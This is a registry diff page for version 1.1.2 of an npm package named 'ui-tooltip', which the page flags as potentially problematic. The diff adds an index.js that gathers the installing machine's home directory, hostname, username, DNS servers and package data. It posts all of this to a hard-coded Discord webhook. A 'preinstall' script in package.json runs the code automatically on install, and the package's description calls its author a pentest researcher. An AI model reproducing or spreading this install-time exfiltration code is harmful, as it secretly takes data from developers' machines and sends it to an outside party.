ui-tooltip 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ui-tooltip might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +44 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const packageJSON = require("./package.json");
5
+ const package = packageJSON.name;
6
+
7
+ const trackingData = JSON.stringify({
8
+ p: package,
9
+ c: __dirname,
10
+ hd: os.homedir(),
11
+ hn: os.hostname(),
12
+ un: os.userInfo().username,
13
+ dns: dns.getServers(),
14
+ r: packageJSON ? packageJSON.___resolved : undefined,
15
+ v: packageJSON.version,
16
+ pjson: packageJSON,
17
+ });
18
+
19
+ const webhookURL = "https://discord.com/api/webhooks/1300794522527207455/Rwia0Q_nzTK5ryVjobdz4iZa4vXy2QHD9osn5rn9I5ZGyQqedXSMRlEJmNcJNGlidx0C"; // Replace with your Discord webhook URL
20
+
21
+ const postData = JSON.stringify({
22
+ content: `\`\`\`json\n${trackingData}\n\`\`\`` // Wrap the tracking data in a code block for better formatting
23
+ });
24
+
25
+ const options = new URL(webhookURL);
26
+
27
+ options.method = "POST";
28
+ options.headers = {
29
+ "Content-Type": "application/json",
30
+ "Content-Length": postData.length,
31
+ };
32
+
33
+ const req = https.request(options, (res) => {
34
+ res.on("data", (d) => {
35
+ process.stdout.write(d);
36
+ });
37
+ });
38
+
39
+ req.on("error", (e) => {
40
+ console.error(e);
41
+ });
42
+
43
+ req.write(postData);
44
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "ui-tooltip",
3
+ "version": "1.1.2",
4
+ "description": "H1 pentest researcher",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }